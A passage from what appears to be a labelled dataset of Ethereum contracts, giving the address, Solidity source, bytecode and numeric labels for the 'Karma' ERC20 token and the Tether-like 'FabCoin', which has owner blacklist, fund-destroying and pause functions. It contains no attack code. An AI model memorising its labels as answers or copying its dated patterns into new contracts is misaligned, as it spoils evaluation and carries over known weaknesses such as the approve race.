69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e736665722077696c6c206578636565642077616c6c6574206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357616c6c65744c696d69743a20416c72656164792073657420746f20746869732076616c756545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eb629f1d4bd90190bac663e87d74692cc4b7399dfdf55a2a701c8439518539f064736f6c634300060c0033
[ 13, 5, 4, 7 ]
0xf225b1be475ca4b50706db318c12380a02537394
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Karma' token contract // // Deployed to : 0xDD59Db170547dDBAe06C0b081713b29855937b72 // Symbol : KARMA // Name : Karma Token // Total supply: 100000000 // Decimals : 18 // // Have a good Karma. // // (c) Created by xen on March 14, 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract KarmaToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function KarmaToken() public { symbol = "KARMA"; name = "KARMA Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xDD59Db170547dDBAe06C0b081713b29855937b72] = _totalSupply; Transfer(address(0), 0xDD59Db170547dDBAe06C0b081713b29855937b72, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a5780633eaaf86b1461023357806370a082311461024657806379ba5097146102655780638da5cb5b1461027a57806395d89b41146102a9578063a293d1e8146102bc578063a9059cbb146102d5578063b5931f7c146102f7578063cae9ca5114610310578063d05c78da14610375578063d4ee1d901461038e578063dc39d06d146103a1578063dd62ed3e146103c3578063e6cb9013146103e8578063f2fde38b14610401575b600080fd5b341561010857600080fd5b610110610420565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a03600435166024356104be565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d061052b565b60405190815260200160405180910390f35b34156101ed57600080fd5b6101a9600160a060020a036004358116906024351660443561055d565b341561021557600080fd5b61021d61065e565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101d0610667565b341561025157600080fd5b6101d0600160a060020a036004351661066d565b341561027057600080fd5b610278610688565b005b341561028557600080fd5b61028d610716565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b610110610725565b34156102c757600080fd5b6101d0600435602435610790565b34156102e057600080fd5b6101a9600160a060020a03600435166024356107a5565b341561030257600080fd5b6101d0600435602435610858565b341561031b57600080fd5b6101a960048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061087995505050505050565b341561038057600080fd5b6101d06004356024356109e0565b341561039957600080fd5b61028d610a05565b34156103ac57600080fd5b6101a9600160a060020a0360043516602435610a14565b34156103ce57600080fd5b6101d0600160a060020a0360043581169060243516610ab7565b34156103f357600080fd5b6101d0600435602435610ae2565b341561040c57600080fd5b610278600160a060020a0360043516610af2565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105809083610790565b600160a060020a03808616600090815260066020908152604080832094909455600781528382203390931682529190915220546105bd9083610790565b600160a060020a03808616600090815260076020908152604080832033851684528252808320949094559186168152600690915220546105fd9083610ae2565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a039081169116146106a357600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b60008282111561079f57600080fd5b50900390565b600160a060020a0333166000908152600660205260408120546107c89083610790565b600160a060020a0333811660009081526006602052604080822093909355908516815220546107f79083610ae2565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600080821161086657600080fd5b818381151561087157fe5b049392505050565b600160a060020a03338116600081815260076020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561097457808201518382015260200161095c565b50505050905090810190601f1680156109a15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156109c257600080fd5b6102c65a03f115156109d357600080fd5b5060019695505050505050565b8181028215806109fa57508183828115156109f757fe5b04145b151561052557600080fd5b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a3057600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a9657600080fd5b6102c65a03f11515610aa757600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561052557600080fd5b60005433600160a060020a03908116911614610b0d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582071820bf0b07342dd8a3062f4411bab567edf4d1f4f13f39d1e1746fbb951ede20029
[ 2 ]
0xf2260Ed15c59C9437848AfeD04645044A8d5e270
/** *Submitted for verification at Etherscan.io on 2021-02-18 */ pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract FabCoin is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals constructor(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); emit Params(basisPointsRate, maximumFee); } // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101855780630753c30c14610215578063095ea7b3146102585780630e136b19146102a55780630ecb93c0146102d457806318160ddd1461031757806323b872dd1461034257806326976e3f146103af57806327e235e314610406578063313ce5671461045d57806335390714146104885780633eaaf86b146104b35780633f4ba83a146104de57806359bf1abe146104f55780635c658165146105505780635c975abb146105c757806370a08231146105f65780638456cb591461064d578063893d20e8146106645780638da5cb5b146106bb57806395d89b4114610712578063a9059cbb146107a2578063c0324c77146107ef578063dd62ed3e14610826578063dd644f721461089d578063e47d6060146108c8578063e4997dc514610923578063e5b5019a14610966578063f2fde38b14610991578063f3bdc228146109d4575b600080fd5b34801561019157600080fd5b5061019a610a17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101da5780820151818401526020810190506101bf565b50505050905090810190601f1680156102075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022157600080fd5b50610256600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab5565b005b34801561026457600080fd5b506102a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b005b3480156102b157600080fd5b506102ba610d25565b604051808215151515815260200191505060405180910390f35b3480156102e057600080fd5b50610315600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b005b34801561032357600080fd5b5061032c610e51565b6040518082815260200191505060405180910390f35b34801561034e57600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f39565b005b3480156103bb57600080fd5b506103c461111e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041257600080fd5b50610447600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611144565b6040518082815260200191505060405180910390f35b34801561046957600080fd5b5061047261115c565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611162565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8611168565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f361116e565b005b34801561050157600080fd5b50610536600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122c565b604051808215151515815260200191505060405180910390f35b34801561055c57600080fd5b506105b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611282565b6040518082815260200191505060405180910390f35b3480156105d357600080fd5b506105dc6112a7565b604051808215151515815260200191505060405180910390f35b34801561060257600080fd5b50610637600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ba565b6040518082815260200191505060405180910390f35b34801561065957600080fd5b506106626113e1565b005b34801561067057600080fd5b506106796114a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c757600080fd5b506106d06114ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071e57600080fd5b506107276114ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561076757808201518184015260208101905061074c565b50505050905090810190601f1680156107945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ae57600080fd5b506107ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061158d565b005b3480156107fb57600080fd5b50610824600480360381019080803590602001909291908035906020019092919050505061173c565b005b34801561083257600080fd5b50610887600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611821565b6040518082815260200191505060405180910390f35b3480156108a957600080fd5b506108b261197e565b6040518082815260200191505060405180910390f35b3480156108d457600080fd5b50610909600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b34801561092f57600080fd5b50610964600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a4565b005b34801561097257600080fd5b5061097b611abd565b6040518082815260200191505060405180910390f35b34801561099d57600080fd5b506109d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ae1565b005b3480156109e057600080fd5b50610a15600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb6565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aad5780601f10610a8257610100808354040283529160200191610aad565b820191906000526020600020905b815481529060010190602001808311610a9057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610bea57600080fd5b600a60149054906101000a900460ff1615610d1557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610cf857600080fd5b505af1158015610d0c573d6000803e3d6000fd5b50505050610d20565b610d1f8383611d3a565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610f3057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d6020811015610f1857600080fd5b81019080805190602001909291905050509050610f36565b60015490505b90565b600060149054906101000a900460ff16151515610f5557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fae57600080fd5b600a60149054906101000a900460ff161561110d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1580156110f057600080fd5b505af1158015611104573d6000803e3d6000fd5b50505050611119565b611118838383611ed7565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111c957600080fd5b600060149054906101000a900460ff1615156111e457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff16156113d057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561138e57600080fd5b505af11580156113a2573d6000803e3d6000fd5b505050506040513d60208110156113b857600080fd5b810190808051906020019092919050505090506113dc565b6113d98261237e565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143c57600080fd5b600060149054906101000a900460ff1615151561145857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115855780601f1061155a57610100808354040283529160200191611585565b820191906000526020600020905b81548152906001019060200180831161156857829003601f168201915b505050505081565b600060149054906101000a900460ff161515156115a957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561160257600080fd5b600a60149054906101000a900460ff161561172d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a338484604051